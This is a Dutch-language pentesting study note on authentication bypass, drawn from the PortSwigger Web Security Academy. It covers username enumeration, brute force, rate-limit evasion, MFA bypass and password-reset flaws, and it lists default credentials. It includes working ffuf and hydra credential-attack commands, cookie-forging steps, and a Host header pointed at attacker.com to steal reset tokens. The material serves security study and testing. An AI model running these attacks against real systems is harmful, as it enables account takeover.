Skip to content

Authentication Bypass

Bron: PortSwigger Web Security Academy
Auteur: Johan Beysen


1. Wat is Authentication Bypass?

Authentication kwetsbaarheden laten een aanvaller toe om de inlogmechanismen van een applicatie te omzeilen of te ondermijnen — door een ander account over te nemen of zonder geldige credentials toegang te krijgen.

Verschil met access control:

Authentication Authorization
Vraag Ben jij wie je zegt te zijn? Mag jij dit doen?
Fout Iemand logt in als een ander Iemand doet meer dan mag
Resultaat Account takeover Privilege escalation

Oorzaken:

  • Zwakke brute force-bescherming
  • Logic flaws in authenticatieflow
  • Voorspelbare tokens of cookies
  • Foutieve implementatie van MFA
  • Slechte password reset-mechanismen

2. Detectie

Test Wat je zoekt
Verschillende foutmeldingen "Ongeldige gebruikersnaam" vs "Ongeldig wachtwoord"
Responstijd Langere response bij geldige username
Rate limiting Lockout na X pogingen? IP-gebaseerd?
"Remember me" cookie Voorspelbare of decodeerbare waarde?
Password reset flow Voorspelbaar token? Host header gebruikt?
MFA stap Stap overslaan door direct naar volgend endpoint?
Default credentials Admin/admin, admin/password, ...
Statuscode-manipulatie 302 → 200 in response forceren

Burp Suite

  • Intruder voor brute force en username enumeratie
  • Sequencer voor token-entropie analyse
  • Match & Replace voor response manipulatie

3. Username Enumeratie

De applicatie onthult of een username geldig is via subtiele verschillen.

3.1 Foutmeldingen

Ongeldige gebruikersnaam              ← username bestaat niet
Ongeldig wachtwoord                   ← username bestaat wél
Ongeldige gebruikersnaam of wachtwoord  ← correct: geen info

Zelfs kleine spelling- of opmaaksverschillen tellen:

Invalid username or password.          ← punt aanwezig
Invalid username or password           ← punt afwezig → andere codepath

3.2 Responstijd

Als de applicatie het wachtwoord alleen hasht bij een bestaande username, duurt een geldige username langer:

Username: niet_bestaand → response: 85ms
Username: administrator  → response: 300ms  ← hashing kost tijd

Test in Burp Intruder → kolom "Response received" en "Response completed" vergelijken.

3.3 HTTP Statuscode

Username bestaat niet   → HTTP 200 (login pagina opnieuw)
Username bestaat wél    → HTTP 302 (redirect na fout wachtwoord)

3.4 Enumeratie via andere kanalen

Registratieformulier:  "Dit e-mailadres is al in gebruik"
Password reset:        "We sturen een e-mail als dit account bestaat"  ← sommige apps geven dit rechtstreeks aan

4. Brute Force Aanvallen

4.1 Eenvoudige Brute Force

POST /login
username=administrator&password=§WACHTWOORD§

Burp Intruder → Sniper → payload: wachtwoordlijst

4.2 Credential Stuffing

Gelekte username:wachtwoord-combinaties testen op de doelsite:

# Via ffuf
ffuf -u https://target.com/login \
     -X POST \
     -d "username=HFUZZ&password=WFUZZ" \
     -w usernames.txt:HFUZZ \
     -w passwords.txt:WFUZZ \
     -fc 200

4.3 Rate Limiting Omzeilen

POST /login HTTP/1.1
X-Forwarded-For: §1.2.3.4§

username=admin&password=test
Als de server de header vertrouwt voor rate limiting, geeft elke unieke IP een nieuwe teller.

X-Real-IP: 10.0.0.1
Forwarded: for=1.2.3.4

admin : fout1
admin : fout2
wiener : correctwachtwoord   ← reset teller
admin : fout3
admin : fout4
wiener : correctwachtwoord   ← reset teller
Als lockout na 3 fouten telt per sessie, reset een succesvolle login de teller.

Account lockout

Brute force triggert soms account lockout — ook op echte accounts. Stem dit af met de opdrachtgever vóór je begint.


5. Logic Flaws in Authenticatieflow

5.1 Stap Overslaan

De applicatie veronderstelt dat de gebruiker stap 1 doorlopen heeft voor hij stap 2 bereikt:

Stap 1: POST /login  → credentials controleren
Stap 2: GET /2fa     → MFA code invoeren
Stap 3: GET /account → ingelogd

Aanval: stap 1 met geldige credentials van aanvaller, daarna
        stap 2 overslaan door rechtstreeks /account?uid=admin op te vragen
POST /login-step2
Cookie: session=xyz
Body: username=wiener&mfa-code=123456

Als username client-stuurbaar is:

Body: username=administrator&mfa-code=123456

5.3 Statuscode Manipulatie

Als een 302 redirect naar /login betekent dat authenticatie faalt, maar de response body al de dashboardinhoud bevat:

Response: 302 Found → Location: /login

→ In Burp Match & Replace: "HTTP/2 302" vervangen door "HTTP/2 200"
→ Browser toont dashboard
Cookie: stay-logged-in=d2llbmVyOjUxZGMzMGRkYzQ3M…

→ Base64 decode: wiener:51dc30ddc473d43a6011e9ebba6cd601
→ MD5 hash van wachtwoord → hash van "peter" klopt!

→ Genereer voor admin: Base64(administrator:MD5("password"))
echo -n "password" | md5sum
echo -n "administrator:HASH" | base64

6. Password Reset Kwetsbaarheden

6.1 Voorspelbaar Reset Token

Token 1: reset-2024011501
Token 2: reset-2024011502
Token 3: reset-2024011503   ← patroon zichtbaar

Als tokens incrementeel, timestamp-gebaseerd of te raden zijn → aanvaller vraagt reset aan voor admin, raadt het token.

6.2 Host Header Poisoning

De applicatie bouwt de reset-link op met de Host header:

POST /forgot-password
Host: attacker.com          ← aangepast

→ Slachtoffer ontvangt e-mail met link:
  https://attacker.com/reset?token=abc123
→ Slachtoffer klikt → aanvaller ontvangt token in server logs

Testen door de Host header te vervangen door een Burp Collaborator URL.

Varianten

Host: vulnerable.com
X-Forwarded-Host: attacker.com    ← override

6.3 Token Hergebruik & Geen Vervaldatum

1. Vraag reset-token aan voor jouw account
2. Gebruik het token, maar sla het op
3. Token blijft geldig na gebruik? → Hergebruik op ander account
4. Token vervalt niet? → Gebruik weken later nog

6.4 Reset via Voorspelbare Gebruikersdata

?token=    (leeg token)
?token=0   (null/zero)
Reset gebaseerd op username in request body → pas aan naar admin

7. MFA Bypass

7.1 Stap Overslaan

Na succesvolle eerste stap (username/password) plaatst de server soms al een sessiecookie:

1. Login met geldige credentials
2. /2fa pagina wordt getoond
3. Navigeer rechtstreeks naar /account of /dashboard
4. Sessie is al actief → toegang verleend

7.2 MFA Code Brute Force

Indien geen rate limiting op de MFA-endpoint:

POST /2fa
code=§0000§   → Burp Intruder, nummers 0000-9999

Bij 6-cijferige codes: 000000–999999 (max 1.000.000 pogingen).

7.3 Response Manipulatie

MFA-verificatie via statuscode of boolean in response:

{"verified": false}    server response
 Match & Replace: "false"  "true"
 Of: 302 naar /login  302 naar /account

7.4 Backup Codes

  • Applicaties geven soms backup codes bij MFA-setup
  • Backup codes staan in account-settings pagina
  • Via IDOR: lees backup codes van een ander account

8. Default Credentials

Altijd als eerste proberen op admin-panels, login-pagina's en beheerinterfaces:

Systeem Username Wachtwoord
Algemeen admin admin / password / 123456
Algemeen administrator administrator / admin
Router/IoT admin admin / (leeg)
Tomcat tomcat tomcat / s3cret
Jenkins admin admin
Grafana admin admin
MySQL root (leeg) / root
phpMyAdmin root (leeg)
Kibana elastic changeme
# Automatisch testen
hydra -L users.txt -P passwords.txt https://target.com http-post-form \
  "/login:username=^USER^&password=^PASS^:Invalid credentials"

9. Cheat Sheet

Username Enumeratie Signalen

Signaal Aanwezig?
Andere foutmelding bij geldige username
Langere responstijd bij geldige username
Andere statuscode
Redirect bij geldige username, geen redirect bij ongeldig
Registratieformulier bevestigt bestaand account

Brute Force Checklist

□ Rate limiting aanwezig?
□ Lockout na X pogingen?
□ Lockout per IP of per account?
□ X-Forwarded-For vertrouwd voor rate limiting?
□ Succesvolle login reset de teller?
□ CAPTCHA aanwezig? Omzeilbaar?

Password Reset Checklist

□ Token in URL? (gelekt via Referer)
□ Token voorspelbaar of incrementeel?
□ Token verloopt niet?
□ Token herbruikbaar na gebruik?
□ Host header gebruikt in reset-URL?
□ Username in request body client-stuurbaar?

MFA Bypass Checklist

□ Stap direct overslaan naar /account?
□ Brute force op MFA-code mogelijk?
□ Response manipulatie (false → true)?
□ Account sessie al actief voor MFA voltooid?
□ Backup codes via IDOR opvraagbaar?

Interessante Endpoints

/login          /signin          /auth
/forgot         /reset-password  /password-reset
/2fa            /mfa             /verify
/account        /dashboard       /admin
/api/login      /api/auth        /api/token